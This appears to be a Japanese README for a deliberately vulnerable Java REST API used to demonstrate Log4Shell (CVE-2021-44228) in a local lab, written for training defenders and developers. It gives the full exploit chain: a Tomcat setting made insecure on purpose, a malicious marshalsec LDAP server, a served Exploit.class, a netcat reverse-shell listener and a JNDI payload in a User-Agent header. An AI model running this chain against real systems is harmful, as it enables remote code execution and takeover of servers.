
脆弱なJavaベースのREST APIで、CVE-2021-44228(log4shell)を実証するためのものです。
CVE-2021-44228(log4shell)を実演するための脆弱性を持つJavaベースのREST APIです。
Log4Shellは2021年12月初旬にインターネットを席巻しました。Apache Log4jロギングライブラリにおけるゼロデイ脆弱性で、リモートコード実行(RCE)が可能であり、世界中の組織が公開Javaアプリケーションの修正・パッチ適用・緩和策に奔走しました。InfoSecコミュニティがセキュリティチームへの継続的な分析と解決策の提供に協力する一方で、Log4jコミュニティはこの脆弱性に終止符を打つためのパッチ開発に忙しくしていました。
私は、Apache Tomcatアプリケーションサーバーを使用してこの脆弱性を悪用し、リモートコード実行(RCE)に至る経路を実演する、シンプルな脆弱性を持つREST APIを開発しました。この概念実証が、SecOpsチームのトレーニングや、現在および将来のアプリケーション開発者の教育に役立つことを願っています。チームを訓練し、SIEMルール/アラート、EDR、SOARなどを含む(ただしこれらに限定されない)防御を強化してください。
この攻撃のワークフローを理解するには、スイス政府コンピュータ緊急対応チームGovCERT.chが提供するこの図をご覧ください: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
このチュートリアルとソースコードは、教育およびトレーニング目的のみで提供されています。倫理的かつ責任を持って使用してください。 このチュートリアルは、攻撃者と脆弱なアプリケーションが同じコンピュータ上にあることを前提に作成されています。より現実的な体験をするには、アーキテクチャを分散させ、脆弱なアプリケーションを独自のサーバーで実行し、Kali Linuxなどの別の環境を使用して攻撃者をシミュレートしてください。
始めましょう。
Java JDKとMavenがインストールされたら、Linuxディストリビューションを使用していると仮定して、vuln4japiの場所にディレクトリを変更し、プロジェクトをビルドします。
注: ビルドする前にアプリの特定のコンポーネントを変更したい場合があります。例えば、log4j2.xmlファイル内のlog4jログへのパスを変更したり、pom.xmlファイル内の結果として生成されるwarファイルの名前を変更したりできます。完全にあなた次第です。
cd /path/to/vuln4japi
mvn clean package -DskipTests
ビルドエラーが表示されなければ、新しく作成されたtargetディレクトリにvuln4japi.warファイルがあるはずです。では、このファイルには少し後で戻ってきます。Tomcatについて簡単に見てみましょう。
Java 8のバージョンによっては、8の新しいバージョンではこの特定の設定(com.sun.jndi.ldap.object.trustURLCodebase)がfalseに設定されている場合があります。これにより、JNDIがLDAPを介してリモートコードベースをロードすることが事実上無効になります。これはこの脆弱性が悪用しているものです。したがって、Tomcatのcatalina.propertiesファイルを変更して、このシステム設定をTrueに設定し、Tomcatを意図的に脆弱にする必要があります。
Linux用のapache-tomcat-8.0.32.tar.gzをダウンロードしたら、/optディレクトリなどの場所に解凍します。
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
/confディレクトリに変更し、ファイルの末尾にあるcatalina.propertiesを変更します。
注: お好みのテキストエディタを使用してください。この例ではvimを使用しています。
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# 以下のシステムプロパティを最後に追加します
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
テキストエディタを終了し、/binディレクトリ内のcatalina.shスクリプトを使用してTomcatを起動します。
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
http://localhost:8080/ にブラウザでアクセスするか、コマンドラインインターフェースからシンプルなcURLコマンドを使用して、Apache Tomcatのインスタンスをテストします。
curl -vv http://localhost:8080/
ブラウザまたはターミナルにウェルカムページが表示されれば、正常に動作しています。次に、脆弱なアプリをデプロイできます。
.warファイルをTomcatの/webappsディレクトリにコピーします。Tomcatは数秒でアプリケーションをホットデプロイします。
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
アプリのURLにブラウザでアクセスするか、再度コマンドラインからcURLを使用して、脆弱なアプリをテストします。 ブラウザの場合: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
次のメッセージが表示されるはずです: Hi, this is a Vulnerable App!!
いくつかのコンポーネントが動作するようになりました。では、これを悪用してみましょう...
marshalsecプロジェクトは、このタイプの攻撃を詳細に理解するための優れたリソースです。基本的に、これは悪意のあるLDAPサーバーとして機能し、.classファイルをホストする悪意のあるWebサーバーに任意のリクエストをリダイレクトします。marshalsecを使用する前に、mbechlerのGithubリポジトリに掲載されているドキュメントの一部を確認することを強くお勧めします: https://github.com/mbechler/marshalsec
技術的な詳細やドキュメントをスキップする場合は、そのリポジトリをクローンしてディレクトリを変更してください。次に、そのJavaプロジェクトをビルドする前に、LDAPRefServer.javaファイルに1行のデバッグステートメントを追加することをお勧めします。このprintステートメントは、脆弱なサーバーからのLDAPクエリをキャプチャする際に役立ちます。
お好みのテキストエディタを使用して、以下のファイルを編集し、下のコードブロックに示されている行をprocessSearchResult()メソッドに追加してください。
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// 完全なリクエスト情報を表示するためにこの行を追加します
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
ファイルを変更したら保存してテキストエディタを終了します。これでMavenを使用してmarshalsecプロジェクトをビルドできるはずです。 marshalsecフォルダのルートにディレクトリを戻し、mavenを実行します。
mvn clean package -DskipTests
ビルドエラーがなければ、新しく作成された/marshalsec/targetディレクトリにmarshalsec-0.0.3-SNAPSHOT-all.jarファイルが含まれているはずです。
悪意のあるmarshalsec LDAPサーバーを実行する前に、残りの攻撃者ツールをセットアップしましょう。
exploitzフォルダにディレクトリを変更し、含まれているExploit.javaファイルをコンパイルします。
javac Exploit.java
エラーがなければ、Exploit.classファイルができているはずです。
これで完了です。必要なものはすべてコンパイルされ、Webサーバーも実行されているはずです。繰り返しますが、このテストをLinuxサーバーで実行していると仮定して、少なくとも5つのターミナルウィンドウを開きます。
ターミナル1: marshalsecを実行します
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
ターミナル2: Exploit.classがあるxploitzディレクトリにディレクトリを変更し、ローカルPythonサーバーを実行します。
python3 -m http.server 8081
ターミナル3: /tmp/logs/vuln4jpi_log4j.logファイルをtailして、脆弱なアプリへのリクエストを追跡します。
tail -f /tmp/logs/vuln4japi_log4j.log
ターミナル4: ポート8001でnetcatリスナーを開きます。これはもちろん同じホストからのリバースシェル接続になります。これらすべてを同じホストで行っていることを忘れないでください。現実的な体験をするには、2台または3台の異なるコンピュータを使用してみてください。
nc -lv 8001
ターミナル5: シンプルなcURLコマンドを使用してペイロードを送信します。
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
すべてが期待どおりに動作すれば、ポート8001のnetcatリスナーにシェルが転送されるはずです。すべてのターミナルウィンドウを確認し、それぞれの動作を観察して、タイプミスや構文エラーがないか確認してください。ここでは多くのことが行われているため、人為的ミスは常に発生し得ます。習得するまで数回実行してみてください。ソースを少し変更する必要があるかもしれませんが、それが学び方です。;-)
このプロジェクトから学ぶことを、私が作成を楽しんだのと同じくらい楽しんでいただければ幸いです。フィードバックやコメントがあれば、Twitter @offswitchsec で見つけてください。楽しんで、ハッピーハッキング!